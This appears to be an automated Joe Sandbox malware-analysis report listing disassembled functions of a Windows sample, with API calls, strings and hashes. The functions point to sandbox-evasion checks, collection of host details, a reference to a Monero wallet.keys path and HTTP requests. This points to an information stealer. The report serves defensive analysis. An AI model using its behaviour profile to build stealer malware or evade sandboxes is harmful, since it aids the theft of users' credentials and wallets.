Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 3fd0a8401a81ffe40299dd41d5a2dd4bd50e91e3b563ac4c6954d3d94f418a3e
Instruction ID: 2960518bf6c2880505fcc4c67a64aaca3d9fbfc4db0db7590fa2eb74dbc8b190
Opcode Fuzzy Hash: 3fd0a8401a81ffe40299dd41d5a2dd4bd50e91e3b563ac4c6954d3d94f418a3e
Instruction Fuzzy Hash: F4E13072910A089ADF16FBB0DC97EED777CAF54300F408668B4066A091EF346A4DDBD2

Function 003917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003917C5
ExitProcess.KERNEL32 ref: 003917D1

Strings

block, xrefs: 003917B7

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: c3e9a478c648378906fb9dbc94b7c97825d66a0a82ed5c01c8936ac79f396bf3
Instruction ID: 03ec4cd21dd437ab464e0d6acc18068aa7674c7eb7794b1445c382318068ef74
Opcode Fuzzy Hash: c3e9a478c648378906fb9dbc94b7c97825d66a0a82ed5c01c8936ac79f396bf3
Instruction Fuzzy Hash: 78512AB5A1420AEFDF06DFA0D954ABE7BB9BF44704F108048E406BB240D771ED55DBA2

Function 00397500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00397542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0039757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397603
RtlAllocateHeap.NTDLL(00000000), ref: 0039760A
wsprintfA.USER32 ref: 00397640

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

\, xrefs: 00397560
C, xrefs: 0039754C
:, xrefs: 0039764D, 00397655, 0039761B, 00397623
:, xrefs: 0039755C

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$:
API String ID: 1544550907-1412321837
Opcode ID: 741796597e30412a01a4f310c777f1c855247012c46c28d6e023d593188b5bce
Instruction ID: 61c188e0507cf1b58587fabe839c859a9a09381a3f544cb2e4be1d17dd3b4d98
Opcode Fuzzy Hash: 741796597e30412a01a4f310c777f1c855247012c46c28d6e023d593188b5bce
Instruction Fuzzy Hash: 1041C2B1D04248ABDF11DF94CC45FEEBBB8EF18704F100198F509AB280D7786A48CBA5

Function 003969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,011521E8), ref: 003998A1
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152458), ref: 003998BA
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152188), ref: 003998D2
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152200), ref: 003998EA
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,011522A8), ref: 00399903
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,011590B0), ref: 0039991B
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,011453F0), ref: 00399933
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01145330), ref: 0039994C
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152218), ref: 00399964
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152278), ref: 0039997C
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152230), ref: 00399995
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152248), ref: 003999AD
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01145550), ref: 003999C5
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,01152260), ref: 003999DE

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 003811D0: ExitProcess.KERNEL32 ref: 00381211

Part of subcall function 00381160: GetSystemInfo.KERNEL32(?), ref: 0038116A
Part of subcall function 00381160: ExitProcess.KERNEL32 ref: 0038117E

Part of subcall function 00381110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0038112B
Part of subcall function 00381110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00381132
Part of subcall function 00381110: ExitProcess.KERNEL32 ref: 00381143

Part of subcall function 00381220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0038123E
Part of subcall function 00381220: __aulldiv.LIBCMT ref: 00381258
Part of subcall function 00381220: __aulldiv.LIBCMT ref: 00381266
Part of subcall function 00381220: ExitProcess.KERNEL32 ref: 00381294

Part of subcall function 00396770: GetUserDefaultLangID.KERNEL32 ref: 00396774

Part of subcall function 00381190: ExitProcess.KERNEL32 ref: 003811C6

Part of subcall function 00397850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
Part of subcall function 00397850: RtlAllocateHeap.NTDLL(00000000), ref: 00397887
Part of subcall function 00397850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

Part of subcall function 003978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
Part of subcall function 003978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00397917
Part of subcall function 003978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011590D0,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00396AE8
CloseHandle.KERNEL32(00000000), ref: 00396AF9
Sleep.KERNEL32(00001770), ref: 00396B04
CloseHandle.KERNEL32(?,00000000,?,011590D0,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396B1A
ExitProcess.KERNEL32 ref: 00396B22

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 27af73ac4d39da96a77751ef4b45f2d6afef33cd0f1e3cc20447df60f4fdef43
Instruction ID: 6b975b890f711220085b75eb5934f116fec582bc0825cb981adddc13a7922dc3
Opcode Fuzzy Hash: 27af73ac4d39da96a77751ef4b45f2d6afef33cd0f1e3cc20447df60f4fdef43
Instruction Fuzzy Hash: 99310971914609AADF06FBF0DC5BFEE7B78AF14740F104618F202AA192EF706905D7A2

Function 00381220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0038123E
__aulldiv.LIBCMT ref: 00381258
__aulldiv.LIBCMT ref: 00381266
ExitProcess.KERNEL32 ref: 00381294

Strings

@, xrefs: 00381233

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b2706110bd2cd010f571cc973cb9ca4553c5fd51bacff6fe71d9c0944b421779
Instruction ID: ce109f179e5ec50dfda1f623d6167f2db447040788b458c7ffd1962a41807aca
Opcode Fuzzy Hash: b2706110bd2cd010f571cc973cb9ca4553c5fd51bacff6fe71d9c0944b421779
Instruction Fuzzy Hash: 0E011DB0D44308BAEF11EBE4DC4AF9EBB7CAB14705F208488F705BA2C0D7B455468799

Function 00396AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011590D0,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00396AE8
CloseHandle.KERNEL32(00000000), ref: 00396AF9
Sleep.KERNEL32(00001770), ref: 00396B04
CloseHandle.KERNEL32(?,00000000,?,011590D0,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396B1A
ExitProcess.KERNEL32 ref: 00396B22

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: cff3c0624422e0c828212ff853bec0222643be9130b2354f78961ee07c3b8749
Instruction ID: d75eb4653aa9644ed1ff582760f580b8f72ad07815b67461fbabed725ef43d0f
Opcode Fuzzy Hash: cff3c0624422e0c828212ff853bec0222643be9130b2354f78961ee07c3b8749
Instruction Fuzzy Hash: ABF05E70944609AFEF02ABA0DC0BBBE7B78FB14745F104514B503A51C1DBB05544E696

Function 003847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Strings

<, xrefs: 003847C9

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0c14049725591733b208f835eff477e33c638af3601789e59d69f94055cabaf4
Instruction ID: 0c6ff6699bc04081a51feda7fa4cb2fe9df4601de9bd503169c0f435ac2a896f
Opcode Fuzzy Hash: 0c14049725591733b208f835eff477e33c638af3601789e59d69f94055cabaf4
Instruction Fuzzy Hash: CF214FB1D00209ABDF14DFA4E845ADE7B74FB44320F108625F915AB2C1EB706A09CF91

Function 003951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 00386280: InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
Part of subcall function 00386280: StrCmpCA.SHLWAPI(?,0115E828), ref: 00386303
Part of subcall function 00386280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
Part of subcall function 00386280: HttpOpenRequestA.WININET(00000000,GET,?,0115DFC8,00000000,00000000,00400100,00000000), ref: 00386385
Part of subcall function 00386280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
Part of subcall function 00386280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395228

Strings

ERROR, xrefs: 00395273
ERROR, xrefs: 0039521A

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a3e1f226786c0d4bc0337cb1837cb013e00d495bf40278b576f13dcf26b2c28d
Instruction ID: 052276dff5a865f1fb954c1536b1e3adc98f4af3277d83199dd00dc6c13743d6
Opcode Fuzzy Hash: a3e1f226786c0d4bc0337cb1837cb013e00d495bf40278b576f13dcf26b2c28d
Instruction Fuzzy Hash: 42112E30910908ABDF16FFA0DD52AED7778AF50300F404668F80A4E592EF30AB06D7D1

Function 003978E0 Relevance: 4.5, APIs: 3, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
RtlAllocateHeap.NTDLL(00000000), ref: 00397917
GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: b88e71bd35f9420ff54de30a18d923b90be08e06d5eb259c29cb01ec023c1b37
Instruction ID: cac7a1c82624b38a6a81dfcb686bc9929629d5b56be2a2bbc03b2e0cf905f59d
Opcode Fuzzy Hash: b88e71bd35f9420ff54de30a18d923b90be08e06d5eb259c29cb01ec023c1b37
Instruction Fuzzy Hash: 6D0181B1A04608EFDB10DF98DD45FAABBBCFB04B25F10421AFA45E3680C37459048BA1

Function 00381110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0038112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00381132
ExitProcess.KERNEL32 ref: 00381143

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 48ba17fc91330bdd96ad2554df90a749fd9ff9b6a831b1a6685eb97311b15926
Instruction ID: 49d6df66046bdaecfbbe25769b155e9e1caaf95d34808bc747af206903a0a5d2
Opcode Fuzzy Hash: 48ba17fc91330bdd96ad2554df90a749fd9ff9b6a831b1a6685eb97311b15926
Instruction Fuzzy Hash: C7E0E6B094534CFFE7106BA09C0EF097ABCEB14B05F204094F7097A1D0D6B52A45A799

Function 003810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003810F7

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
